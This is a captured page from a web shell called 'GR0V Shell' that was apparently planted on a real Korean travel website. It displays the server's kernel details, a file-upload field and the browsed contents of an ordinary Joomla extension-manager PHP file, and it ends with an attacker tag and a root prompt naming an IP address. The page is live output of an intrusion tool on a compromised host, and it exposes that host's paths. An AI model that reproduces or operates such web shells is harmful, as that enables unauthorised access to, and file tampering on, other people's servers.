? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happy2/administrator/components/com_jaextmanager/
File Upload :
Current File : /home/admin/public_html/old/happy2/administrator/components/com_jaextmanager/jaextmanager.php

<?php
/**
 * ------------------------------------------------------------------------
 * JA Extenstion Manager Component for J25 & J31
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2011 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * ------------------------------------------------------------------------
 */

@set_time_limit(0);
// no direct access
defined('_JEXEC') or die('Restricted access');

//error_reporting(E_ALL & ~E_STRICT & ~E_NOTICE);


define('JACOMPONENT', 'com_jaextmanager');
// Require the base controller
JLoader::register('JAEMController', JPATH_COMPONENT.'/controllers/controller.php');
JLoader::register('JAEMView', JPATH_COMPONENT.'/views/view.php');
JLoader::register('JAEMModel', JPATH_COMPONENT.'/models/model.php');

require_once (JPATH_COMPONENT . '/controller.php');

// Require constants
require_once (JPATH_COMPONENT . "/constants.php");

require_once (JPATH_COMPONENT .  "/helpers/menu.class.php");
require_once (JPATH_COMPONENT .  "/helpers/helper.php");
require_once (JPATH_COMPONENT .  "/helpers/jahelper.php");
require_once (JPATH_COMPONENT .  "/helpers/jauc.php");
require_once (JPATH_COMPONENT .  "/helpers/tree.php");
require_once (JPATH_COMPONENT .  "/helpers/repo.php");
require_once (JPATH_COMPONENT .  "/helpers/uploader/uploader.php");
if(jaIsJoomla3x()){
	require_once (JPATH_COMPONENT .  "/lib/simplexml.php");
}

//Check xml file only for version 2.5.3
if(JFile::exists(JPATH_COMPONENT."/installer/update/update.php")){
	require_once JPATH_COMPONENT."/installer/update/update.php";
}

// Load global stylesheets and javascript
if (!defined('JA_GLOBAL_SKIN')) {
	define('JA_GLOBAL_SKIN', 1);
	$assets = JURI::root() . 'administrator/components/com_jaextmanager/assets/';
	JHtml::_('behavior.framework', true);
	//JHtml::_('behavior.mootools');
	//JHtml::_('behavior.tooltip');
	JHtml::_('behavior.modal', 'a.modal');
	
	JHtml::_('stylesheet', $assets . 'css/' . 'default.css', false, true);
	JHtml::_('stylesheet', $assets . 'css/' . 'style.css', false, true);
	JHtml::_('stylesheet', $assets . 'japopup/' . 'ja.popup.css', false, true);
	JHtml::_('stylesheet', $assets . 'jadiffviewer/' . 'diffviewer.css', false, true);
	JHtml::_('stylesheet', $assets . 'jatooltips/themes/default/' . 'style.css', false, true);
	JHtml::_('stylesheet', $assets . 'jquery.alerts/' . 'jquery.alerts.css', false, true);
	
	//JHtml::_('script',  $assets. 'js/'.'mootools-legacy.js', false, true);//Mootools 1.11 Legacy
	JHtml::_('script', $assets . 'js/' . 'jquery.js', false, true);
	JHtml::_('script', $assets . 'js/' . 'jquery.event.drag-1.4.min.js', false, true);
	JHtml::_('script', $assets . 'js/' . 'jauc.js', false, true);
	JHtml::_('script', $assets . 'js/' . 'jatree.js', false, true);
	JHtml::_('script', $assets . 'js/' . 'menu.js', false, true);
	JHtml::_('script', $assets . 'japopup/' . 'ja.popup.js', false, true);
	JHtml::_('script', $assets . 'jadiffviewer/' . 'diffviewer.js', false, true);
	JHtml::_('script', $assets . 'jatooltips/' . 'ja.tooltips.js', false, true);
	JHtml::_('script', $assets . 'jquery.alerts/' . 'jquery.alerts.js', false, true);

}

// Require jaupdater library
require_once (JPATH_COMPONENT . "/lib/UpdaterClient.php");

global $compUri, $settings, $jauc;
$compUri = "index.php?option=" . JRequest::getVar('option');
$jauc = new UpdaterClient();

JToolbarHelper::title(JText::_("JOOMART_EXTENSIONS_MANAGER"));

// -----
// Require specific controller if requested
if ($controller = JRequest::getWord('view', 'components')) {
	$path = JPATH_COMPONENT . '/controllers/' . $controller . '.php';
	if (file_exists($path)) {
		require_once $path;
	} else {
		$controller = '';
	}
}

// Create the controller
$className = 'JaextmanagerController' . $controller;

$controller = new $className();

// Perform the Request task
$controller->execute(JRequest::getVar('task'));

// Redirect if set by the controller
$controller->redirect();

T1KUS90T
  root-grov@210.1.60.28:~$